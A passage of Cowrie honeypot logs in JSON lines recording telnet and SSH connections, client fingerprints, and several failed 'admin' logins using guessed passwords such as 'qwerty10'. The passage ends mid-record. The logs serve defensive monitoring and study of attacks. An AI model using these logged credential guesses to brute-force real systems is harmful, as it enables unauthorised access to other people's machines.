{"eventid":"cowrie.session.closed","duration":30.97263216972351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:02.831033Z","src_ip":"98.158.129.28","session":"22c0a793e285","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.88147401809692,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:02.939872Z","src_ip":"98.158.129.28","session":"9443e7229d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115163564682007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:03.966269Z","src_ip":"98.158.129.28","session":"a2980a58bcc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204290628433228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:04.423643Z","src_ip":"98.158.129.28","session":"67a343c8c22a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":52195,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c11799ebbc0","protocol":"telnet","message":"New connection: 98.158.129.28:52195 (159.203.135.109:23) [session: 9c11799ebbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:06.311378Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38060,"dst_ip":"159.203.135.109","dst_port":23,"session":"82b3c01849d6","protocol":"telnet","message":"New connection: 135.148.33.91:38060 (159.203.135.109:23) [session: 82b3c01849d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:07.653543Z"}
{"eventid":"cowrie.session.closed","duration":31.0748393535614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:08.662747Z","src_ip":"98.158.129.28","session":"557b25190bd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":47108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b19843cec6ac","protocol":"telnet","message":"New connection: 98.158.129.28:47108 (159.203.135.109:23) [session: b19843cec6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:11.913986Z"}
{"eventid":"cowrie.session.closed","duration":0.006669759750366211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:11.920521Z","src_ip":"98.158.129.28","session":"b19843cec6ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61879873275757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:16.648277Z","src_ip":"98.158.129.28","session":"9448823118d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":55924,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b72e50187be","protocol":"telnet","message":"New connection: 98.158.129.28:55924 (159.203.135.109:23) [session: 1b72e50187be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:22.647318Z"}
{"eventid":"cowrie.session.closed","duration":31.325960159301758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:27.312597Z","src_ip":"98.158.129.28","session":"f303817d21cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39414381980896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:28.395243Z","src_ip":"98.158.129.28","session":"a38270536d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":56926,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f6f1ebe1473","protocol":"telnet","message":"New connection: 98.158.129.28:56926 (159.203.135.109:23) [session: 5f6f1ebe1473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:30.678764Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":24422,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7c08b18c69f","protocol":"ssh","message":"New connection: 2.57.121.112:24422 (159.203.135.109:22) [session: d7c08b18c69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:31.866620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:31.872567Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:31.982740Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyuiop123","message":"login attempt [admin/qwertyuiop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:32.472302Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58117985725403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:33.188826Z","src_ip":"98.158.129.28","session":"69a8700d330e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.230385065078735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:33.460595Z","src_ip":"98.158.129.28","session":"e0f0933cf263","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyu8","message":"login attempt [admin/qwertyu8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:33.581071Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty666","message":"login attempt [admin/qwerty666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:34.689299Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty10","message":"login attempt [admin/qwerty10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:35.798432Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123rty","message":"login attempt [admin/qwe123rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:36.910921Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63091802597046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:37.942172Z","src_ip":"98.158.129.28","session":"9c11799ebbc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:38.018679Z","src_ip":"2.57.121.112","session":"d7c08b18c69f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":59155,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f2f61ac6483","protocol":"telnet","message":"New connection: 98.158.129.28:59155 (159.203.135.109:23) [session: 4f2f61ac6483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:38.219126Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":59410,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ee21f62a69c","protocol":"telnet","message":"New connection: 98.158.129.28:59410 (159.203.135.109:23) [session: 0ee21f62a69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:39.241177Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":59450,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c9053c77949","protocol":"telnet","message":"New connection: 98.158.129.28:59450 (159.203.135.109:23) [session: 7c9053c77949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:40.381598Z"}
{"eventid":"cowrie.session.closed","duration":35.200252532958984,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:42.853645Z","src_ip":"135.148.33.91","session":"82b3c01849d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":60699,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eed28352aad","protocol":"telnet","message":"New connection: 98.158.129.28:60699 (159.203.135.109:23) [session: 7eed28352aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:45.047394Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":59631,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a76c6c5034","protocol":"telnet","message":"New connection: 98.158.129.28:59631 (159.203.135.109:23) [session: 34a76c6c5034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:48.310516Z"}
{"eventid":"cowrie.session.closed","duration":30.98930525779724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:53.636519Z","src_ip":"98.158.129.28","session":"1b72e50187be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":34200,"dst_ip":"159.203.135.109","dst_port":23,"session":"115e1ef95e49","protocol":"telnet","message":"New connection: 98.158.129.28:34200 (159.203.135.109:23) [session: 115e1ef95e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:51:53.997687Z"}
{"eventid":"cowrie.session.closed","duration":31.183112859725952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:01.861764Z","src_ip":"98.158.129.28","session":"5f6f1ebe1473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":58455,"dst_ip":"159.203.135.109","dst_port":23,"session":"820d994f36da","protocol":"telnet","message":"New connection: 98.158.129.28:58455 (159.203.135.109:23) [session: 820d994f36da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:05.318149Z"}
{"eventid":"cowrie.session.closed","duration":0.008631706237792969,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:05.326650Z","src_ip":"98.158.129.28","session":"820d994f36da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11970067024231,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:09.338688Z","src_ip":"98.158.129.28","session":"4f2f61ac6483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019086360931396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:10.260140Z","src_ip":"98.158.129.28","session":"0ee21f62a69c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":37498,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eff372d760c","protocol":"telnet","message":"New connection: 98.158.129.28:37498 (159.203.135.109:23) [session: 6eff372d760c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:11.013735Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":37342,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3dd3da91a3","protocol":"telnet","message":"New connection: 98.158.129.28:37342 (159.203.135.109:23) [session: ba3dd3da91a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:11.197516Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":37600,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa2c00c91b4","protocol":"telnet","message":"New connection: 98.158.129.28:37600 (159.203.135.109:23) [session: faa2c00c91b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:11.490902Z"}
{"eventid":"cowrie.session.closed","duration":31.31954050064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:11.701028Z","src_ip":"98.158.129.28","session":"7c9053c77949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":37920,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b72ac10b022","protocol":"telnet","message":"New connection: 98.158.129.28:37920 (159.203.135.109:23) [session: 2b72ac10b022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:12.933797Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":37351,"dst_ip":"159.203.135.109","dst_port":23,"session":"db30d7a082af","protocol":"telnet","message":"New connection: 98.158.129.28:37351 (159.203.135.109:23) [session: db30d7a082af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:13.270064Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38106,"dst_ip":"159.203.135.109","dst_port":23,"session":"50f3eb4a858c","protocol":"telnet","message":"New connection: 98.158.129.28:38106 (159.203.135.109:23) [session: 50f3eb4a858c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:13.686114Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38399,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a2299664876","protocol":"telnet","message":"New connection: 98.158.129.28:38399 (159.203.135.109:23) [session: 2a2299664876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:15.053252Z"}
{"eventid":"cowrie.session.closed","duration":31.182701587677002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:16.229980Z","src_ip":"98.158.129.28","session":"7eed28352aad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38470,"dst_ip":"159.203.135.109","dst_port":23,"session":"c653a017e14d","protocol":"telnet","message":"New connection: 98.158.129.28:38470 (159.203.135.109:23) [session: c653a017e14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:16.281815Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38778,"dst_ip":"159.203.135.109","dst_port":23,"session":"b280c00250ae","protocol":"telnet","message":"New connection: 98.158.129.28:38778 (159.203.135.109:23) [session: b280c00250ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:16.640471Z"}
{"eventid":"cowrie.session.closed","duration":30.83418107032776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:19.144584Z","src_ip":"98.158.129.28","session":"34a76c6c5034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38724,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ab62917722","protocol":"telnet","message":"New connection: 98.158.129.28:38724 (159.203.135.109:23) [session: 16ab62917722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:19.456730Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38877,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff8e1b4eefa9","protocol":"telnet","message":"New connection: 98.158.129.28:38877 (159.203.135.109:23) [session: ff8e1b4eefa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:20.148956Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":49892,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4d1b7cf457","protocol":"telnet","message":"New connection: 199.103.57.63:49892 (159.203.135.109:23) [session: 9d4d1b7cf457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:20.766996Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":33546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a41e45558d40","protocol":"telnet","message":"New connection: 98.158.129.28:33546 (159.203.135.109:23) [session: a41e45558d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:21.623466Z"}
{"eventid":"cowrie.session.closed","duration":0.0050678253173828125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:21.628425Z","src_ip":"98.158.129.28","session":"a41e45558d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":40467,"dst_ip":"159.203.135.109","dst_port":23,"session":"04b8fed2b184","protocol":"telnet","message":"New connection: 98.158.129.28:40467 (159.203.135.109:23) [session: 04b8fed2b184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:24.594763Z"}
{"eventid":"cowrie.session.closed","duration":31.301969528198242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:25.299514Z","src_ip":"98.158.129.28","session":"115e1ef95e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":40996,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e27d0574b5","protocol":"telnet","message":"New connection: 98.158.129.28:40996 (159.203.135.109:23) [session: 53e27d0574b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:25.602342Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":41109,"dst_ip":"159.203.135.109","dst_port":23,"session":"e359a7941d5f","protocol":"telnet","message":"New connection: 98.158.129.28:41109 (159.203.135.109:23) [session: e359a7941d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:26.106528Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":42261,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecb1b7047f7e","protocol":"telnet","message":"New connection: 98.158.129.28:42261 (159.203.135.109:23) [session: ecb1b7047f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:30.726759Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":42382,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b9379469ef","protocol":"telnet","message":"New connection: 98.158.129.28:42382 (159.203.135.109:23) [session: 37b9379469ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:31.210238Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":42902,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfa3a20a680f","protocol":"telnet","message":"New connection: 98.158.129.28:42902 (159.203.135.109:23) [session: bfa3a20a680f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:33.552232Z"}
{"eventid":"cowrie.session.closed","duration":120.00399088859558,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:37.953317Z","src_ip":"49.88.156.34","session":"b559f65f7bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23610806465149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:42.433517Z","src_ip":"98.158.129.28","session":"ba3dd3da91a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51790189743042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:42.531514Z","src_ip":"98.158.129.28","session":"6eff372d760c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76184892654419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:43.252637Z","src_ip":"98.158.129.28","session":"faa2c00c91b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74144172668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:43.675114Z","src_ip":"98.158.129.28","session":"2b72ac10b022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.777411699295044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:45.463392Z","src_ip":"98.158.129.28","session":"50f3eb4a858c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22447395324707,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:45.494391Z","src_ip":"98.158.129.28","session":"db30d7a082af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":45074,"dst_ip":"159.203.135.109","dst_port":23,"session":"38e3558e9058","protocol":"telnet","message":"New connection: 98.158.129.28:45074 (159.203.135.109:23) [session: 38e3558e9058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:45.585276Z"}
{"eventid":"cowrie.session.closed","duration":31.086992502212524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:46.140122Z","src_ip":"98.158.129.28","session":"2a2299664876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.94.99","src_port":41436,"dst_ip":"10.17.0.5","dst_port":22,"session":"65383a5f60b0","protocol":"ssh","message":"New connection: 148.135.94.99:41436 (10.17.0.5:22) [session: 65383a5f60b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:46.599082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:52:46.603624Z","src_ip":"148.135.94.99","session":"65383a5f60b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-n